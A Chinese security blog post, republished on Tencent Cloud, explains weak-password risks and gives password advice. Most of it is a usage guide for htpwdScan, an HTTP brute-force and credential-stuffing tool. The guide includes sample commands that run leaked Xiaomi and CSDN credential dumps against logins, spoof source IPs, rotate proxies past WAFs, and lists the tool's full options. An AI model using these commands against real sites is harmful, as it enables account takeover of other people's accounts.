前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >接口漏洞

接口漏洞

作者头像
Mirror王宇阳
发布2020-11-13 10:56:49
9060
发布2020-11-13 10:56:49
举报
文章被收录于专栏:Mirror的技术成长

接口漏洞

作者:王宇阳 时间:2019-06-07

弱口令

弱口令,指通常很容易被人猜测或破解工具破解的口令;弱口令的危害往往很大。

弱口令的危害:

  • 攻击者可以通过弱口令轻易的进入系统或管理页面,最终达到控制权限的目的
  • 通过弱口令可以获得一个人的相对性的账户权限

利用弱口令而保护的资料,实际上就是透明的资料。

最常见的弱口令:

Fuzz弱口令:https://github.com/TheKingOfDuck/fuzzDicts

网络专家们的建议则是:”数字+字母+大小写+符号“是相对比较安全的密码策略

一些密码的建议:

  1. 不适用纯数字作为密码策略
  2. 不使用连贯的有简单逻辑规律的数字、字母、符号组合作为密码策略
  3. 密码长度应该在8位以上
  4. 采用四种不同的字符类型的策略
  5. 密码内容不要包含简写、别称等内容

接口漏洞:HTTP 口令爆破

htpwdScan:HTTP爆破、撞库脚本

htpwdScan:是一个基于python编写的HTTP暴力破解、撞库的攻击脚本

  • 支持批量校验并导入HTTP3代理,低频撞库可以成功攻击大部分网站,绕过大部分的waf
  • 直接获取网络上泄露的社工库,发起撞库攻击
  • 支持导入超大字典
  • https://github.com/lijiejie/htpwdScan

htpwdScan的简单示例

  • HTTP Basic认证 htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt 导入用户名密码字典即可
  • 表单破解 htpwdScan.py -f post2.txt -d user=user.txt passwd=password.txt -err="success":false" 从 post2.txt 导入抓的http包,user和passwd是需要破解的参数,而 user.txt password.txt 是保存了密码的字典文件 success":false 是选择的失败标记,标记中若有双引号,请记得用右斜杠 \ 转义
  • GET参数破解 htpwdScan.py -d passwd=password.txt -u="http://xxx.com/index.php?m=login&username=test&passwd=test" -get -err="success":false" 使用-get参数告诉脚本此处是GET请求
  • 撞库攻击 htpwdScan.py -f=post.txt -database loginname,passwd=xiaomi.txt -regex="(\S+)\s+(\S+)" -err="用户名或密码错误" -fip htpwdScan.py -f=post.txt -database passwd,loginname=csdn.net.sql -regex="\S+ # (\S+) # (\S+)" -err="用户名或密码错误" -fip 使用小米和csdn库发起撞库攻击。post.txt是抓包的HTTP请求 参数-regex设定从文件提取参数的正则表达式,此处需分组,分组的方式是使用括号() 小米的数据行格式是 xxx@163.com xxxxxxx 也即 (用户名)空白字符(密码) (\S+)\s+(\S+) 可指定第一个非空白字符拿去填充loginname,而第二个非空白字符串拿去填充passwd csdn的数据行格式是zdg # 12344321 # zdg@csdn.net . 正则表达式写作\S+ # (\S+) # (\S+) 第一个#后面的非空白字符串填充passwd,第二个#后面的非空白字符串填充loginname 请注意,参数的顺序是重要的 -fip 是启用伪造随机IP
  • 校验HTTP代理 htpwdScan.py -f=post.txt -proxylist=proxies.txt -checkproxy -suc="用户名或密码错误" 要破解某个网站,批量测试使用代理是否连通目标网站,把HTTP请求保存到post.txt,然后用-suc参数设定连通标记 一个简单可行的校验方式是: htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"

完整参数说明

脚本支持的小功能较多,请耐心阅读以下完整说明。建议多使用 -debug 参数查看HTTP请求是否有问题,没问题再发起真正的破解。

代码语言:javascript
复制
usage: htpwdScan.py [options]

* An HTTP weak pass scanner. By LiJieJie *

optional arguments:
  -h, --help            显示帮助

Target:
  -u REQUESTURL         设定目标URL, 示例.
                        -u="https://www.test.com/login.php"
  -f REQUESTFILE        从文件导入HTTP请求
  -https                当从文件导入HTTP请求时,启用https(SSL)
  -get                  使用GET方法,默认: POST
  -basic  [ ...]        HTTP Basic 暴力破解.
                        示例. -basic users.dic pass.dic

Dictionary:
  -d Param=DictFile [Param=DictFile ...]
                        为参数设定字典文件,
                        支持哈希函数如 md5, md5_16, sha1.
                        示例. -d user=users.dic pass=md5(pass.dic)

Detect:
  -no302                无视302跳转, 默认302敏感
  -err ERR [ERR ...]    响应文本的破解失败标记,
                        示例. -err "user not exist" "password wrong"
  -suc SUC [SUC ...]    响应文本中的破解成功标记,
                        e.g. -suc "welcome," "admin"
  -herr HERR            响应HTTP头的破解失败标记
  -hsuc HSUC            响应HTTP头的破解成功标记
  -rtxt RetryText       响应文本中的重试标记,出现则重试请求,
                        示例. -rtxt="IP blocked"
  -rntxt RetryNoText    响应文本中的重试标记,未出现则重试请求,
                        示例. -rntxt="<body>"
  -rheader RetryHeader  响应头中的重试标记,出现则重试请求,
                        示例. -rheader="Set-Cookie:"
  -rnheader RetryNoHeader
                        响应头中的重试标记,未出现则重试请求,
                        示例. -rheader="HTTP/1.1 200 OK"

Proxy and spoof:
  -proxy Server:Port    设定少量HTTP代理
                        示例. -proxy=127.0.0.1:8000,8.8.8.8:8000
  -proxylist ProxyListFile
                        从文件批量导入HTTP代理,
                        示例. -proxylist=proxys.txt
  -checkproxy           检查代理服务器的可用性.
                        可用代理输出到 001.proxy.servers.txt
  -fip                  生成随机X-Forwarded-For欺骗源IP
  -fsid FSID            生成随机session ID. 示例. -fsid PHPSESSID
  -sleep SECONDS        每次HTTP结束,等待SECONDS秒,
                        避免IP被临时屏蔽,进入黑名单

Database attack:
  -database DATABASE    导入社工库中的数据.
                        示例. -database user,pass=csdn.txt
  -regex REGEX          从社工库中提取数据的正则表达式,必须分组.
                        示例. -regex="(\S+)\s+(\S+)"

General:
  -t THREADS            工作线程数,默认50
  -o OUTPUT             输出文件.  默认: 000.Cracked.Passwords.txt
  -debug                进入debug模式检查HTTP请求和HTTP响应
  -nov                  只显示破解成功的条目,不显示进度
  -v                    show program's version number and exit

脚本安装包分析

lin目录
  • cmdline.py:解析命令行参数,校验完整性
  • console_width.py:计算机终端宽度,输出自适应
  • encodings.py:平台相关的编码和解码
  • proxy.py:导入HTTP代理
  • queue.py:生成字典队列
  • request_fil.py:从text文件中解析解析并导入HTTP请求
  • request.py:发起HTTP请求,分析HTTP响应的判断逻辑
dict目录
  • 该目录是密码文件目录

BurpSuite爆破网页密码

  • 可以使用Burp软件进行暴力破解
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-06-07 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 接口漏洞
    • 弱口令
      • 弱口令的危害:
      • 最常见的弱口令:
    • 接口漏洞:HTTP 口令爆破
      • htpwdScan:HTTP爆破、撞库脚本
      • htpwdScan的简单示例
      • 完整参数说明
      • 脚本安装包分析
    • BurpSuite爆破网页密码
    相关产品与服务
    云服务器
    云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档